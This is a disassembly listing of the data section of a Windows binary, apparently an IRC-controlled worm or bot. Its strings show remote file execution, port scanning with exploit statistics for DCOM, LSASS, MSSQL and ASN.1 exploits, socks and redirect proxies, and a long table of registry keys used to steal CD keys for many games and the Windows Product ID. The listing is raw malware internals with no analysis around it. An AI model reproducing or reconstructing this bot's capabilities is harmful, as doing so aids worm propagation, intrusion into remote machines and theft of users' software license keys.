a__ db '..',0 ; DATA XREF: sub_4063B0+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4063B0+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_42716C dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C3E+493o
dword_427178 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_406C3E+47Fo
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
unk_4271C8 db 2 ; DATA XREF: sub_406C3E+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 4
dword_427204 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406C3E+399o
unk_427218 db 2 ; DATA XREF: sub_406C3E+33Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 4
unk_42726C db 2 ; DATA XREF: sub_406C3E+15Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 4
unk_4272BC db 2 ; DATA XREF: sub_406C3E+6Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: sub_406C3E+Fo
align 10h
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_40778B+164o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: .nsp0:00404ACFo
align 4
dd 5 dup(0)
dword_427338 dd 87h ; DATA XREF: sub_407135+1Er
; sub_40CE55+2F87r ...
off_42733C dd offset sub_4033CB ; DATA XREF: sub_40778B+1E6r
dword_427340 dd 0 ; DATA XREF: sub_402DDD+193w
; sub_402DDD+199r ...
dword_427344 dd 1 ; DATA XREF: sub_407276+1Fr
dword_427348 dd 0 ; DATA XREF: sub_407276:loc_4074E7r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4033CBh, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 4033CBh, 0
dd 1, 0
aDcass db 'dcass',0
align 4
dd 63640000h, 737361h, 6 dup(0)
dd 1BDh, 402F84h, 0
dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h
dd 3534h, 5 dup(0)
dd 1BDh, 403C8Bh, 0
dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h
dd 3533h, 5 dup(0)
dd 87h, 403C8Bh, 0
dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h
dd 3933h, 5 dup(0)
dd 8Bh, 403C8Bh, 0
dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0)
dd 1BDh, 402DDDh, 0
dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0)
dd 1BDh, 403E3Ch, 0
dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 404F08h, 0
dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h
dd 6 dup(0)
dd 599h, 405168h, 0
dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h
dd 7473h, 5 dup(0)
dd 22Ah, 4052FCh, 0
dd 1, 0
aAsn1http db 'asn1http',0
align 2
aAsn1http_0 db 'asn1http',0
align 4
dd 5 dup(0)
dd 50h, 404907h, 0
dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh
dd 62h, 5 dup(0)
dd 1BDh, 404907h, 0
dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 404907h, 0
dd 2 dup(1), 0
aAsn1smbnt db 'asn1smbnt',0
byte_4276A2 db 1 ; DATA XREF: sub_40CE55:loc_411958r
; sub_40CE55+4B0Do
aMsass db 'msass',0
align 4
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_407135+42o
align 4
unk_4276DC db 2 ; DATA XREF: sub_407135+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_427714 db 2 ; DATA XREF: sub_4071FF+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_427748 db 2 ; DATA XREF: sub_4071FF+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_42777C db 2 ; DATA XREF: sub_407276+36Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_4277C4 db 2 ; DATA XREF: sub_407276+307o
; sub_40CE55+5039o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_427814 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_407276+267o
dd 2029206Ch, 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_427858 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_407276+1FAo
dd 2029206Ch, 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_4278AC db 2 ; DATA XREF: sub_407276+149o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start server, error: <%d>.',0
align 4
unk_4278F4 db 2 ; DATA XREF: sub_407276+DBo
; sub_40CE55+4EC3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407652+38o
; sub_40A171+46o
unk_427954 db 2 ; DATA XREF: sub_40778B+EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_427990 db 2 ; DATA XREF: sub_40778B+93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_4279E0 db 2 ; DATA XREF: sub_40799F+1CEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_427A38 db 2 ; DATA XREF: sub_40799F+173o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_427A88 db 2 ; DATA XREF: sub_40799F+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_427AD4 db 2 ; DATA XREF: sub_40799F+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 10h
unk_427B20 db 2 ; DATA XREF: sub_407BFE+156o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 10h
unk_427B70 db 2 ; DATA XREF: sub_407BFE+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_427BC8 db 2 ; DATA XREF: sub_407D86+1AAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
align 4
unk_427C1C db 2 ; DATA XREF: sub_407D86+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_427C74 db 2 ; DATA XREF: sub_40800A+1B2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 4
unk_427CB8 db 2 ; DATA XREF: sub_40800A+18Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
unk_427D04 db 2 ; DATA XREF: sub_40800A+114o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_427D5C db 2 ; DATA XREF: sub_40800A+A8o
; sub_40CE55+587Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 4
unk_427D98 db 2 ; DATA XREF: sub_40820F+1F9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DEC db 2 ; DATA XREF: sub_40820F+18Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E3C dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
; DATA XREF: sub_40820F+F2o
dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h
dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
dd 0
dd 80000001h
off_427E94 dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr
; sub_4085D3+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427EA0 dd 2 dup(0) ; DATA XREF: sub_4085D3+26o
dd 80000001h, 429028h, 42901Ch, 42900Ch, 2 dup(0)
dd 80000001h, 428FECh, 428FE8h, 428FD4h, 2 dup(0)
dd 80000001h, 428FB0h, 428FE8h, 428FA4h, 2 dup(0)
dd 80000001h, 428F80h, 428F78h, 428F64h, 2 dup(0)
dd 80000001h, 428F50h, 428F40h, 428F24h, 2 dup(0)
dd 80000001h, 428EE0h, 429068h, 428ECCh, 2 dup(0)
dd 80000002h, 428EA0h, 428E94h, 428E74h, 2 dup(0)
dd 80000002h, 428E40h, 429068h, 428E28h, 2 dup(0)
dd 80000002h, 428DF4h, 429068h, 428DDCh, 2 dup(0)
dd 80000002h, 428DC4h, 429068h, 428DACh, 2 dup(0)
dd 80000002h, 428D70h, 438FDCh, 428D60h, 2 dup(0)
dd 80000002h, 428D28h, 438FDCh, 428D14h, 2 dup(0)
dd 80000002h, 428CC8h, 438FDCh, 428CA8h, 2 dup(0)
dd 80000002h, 428C58h, 438FDCh, 428C2Ch, 2 dup(0)
dd 80000002h, 428BF0h, 438FDCh, 428BDCh, 2 dup(0)
dd 80000002h, 428BA4h, 438FDCh, 428B94h, 2 dup(0)
dd 80000002h, 428B44h, 438FDCh, 428B18h, 2 dup(0)
dd 80000002h, 428AD8h, 438FDCh, 428ABCh, 2 dup(0)
dd 80000002h, 428A8Ch, 438FDCh, 428A6Ch, 2 dup(0)
dd 80000002h, 428A30h, 438FDCh, 428A1Ch, 2 dup(0)
dd 80000002h, 4289D4h, 438FDCh, 4289B4h, 2 dup(0)
dd 80000002h, 428960h, 438FDCh, 428930h, 2 dup(0)
dd 80000002h, 4288E0h, 438FDCh, 4288B4h, 2 dup(0)
dd 80000002h, 428874h, 42886Ch, 42884Ch, 2 dup(0)
dd 80000002h, 428808h, 438FDCh, 4287ECh, 2 dup(0)
dd 80000002h, 4287A0h, 438FDCh, 42877Ch, 2 dup(0)
dd 80000002h, 428748h, 438FDCh, 42873Ch, 2 dup(0)
dd 80000002h, 428708h, 438FDCh, 4286FCh, 2 dup(0)
dd 80000002h, 4286C8h, 438FDCh, 4286BCh, 2 dup(0)
dd 80000002h, 428688h, 438FDCh, 42867Ch, 2 dup(0)
dd 80000002h, 428640h, 438FDCh, 42862Ch, 2 dup(0)
dd 80000002h, 4285F0h, 438FDCh, 4285DCh, 2 dup(0)
dd 80000002h, 4285ACh, 429068h, 428590h, 2 dup(0)
dd 80000002h, 428570h, 428568h, 428544h, 2 dup(0)
dd 80000002h, 428528h, 428568h, 428508h, 2 dup(0)
dd 80000002h, 4284E8h, 428568h, 4284C4h, 2 dup(0)
dd 80000002h, 4284ACh, 428568h, 4284A8h, 2 dup(0)
dd 80000002h, 42848Ch, 42847Ch, 428474h, 2 dup(0)
dd 80000002h, 428440h, 42843Ch, 428424h, 2 dup(0)
dd 80000002h, 4283E8h, 4283DCh, 4283B4h, 4283A4h, 428390h
dd 80000002h, 42836Ch, 428360h, 42834Ch, 42833Ch, 428334h
dd 80000002h, 42836Ch, 428360h, 428308h, 42833Ch, 428300h
dd 80000002h, 42836Ch, 428360h, 4282D0h, 42833Ch, 4282C8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: .nsp0:0042DE9Co
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
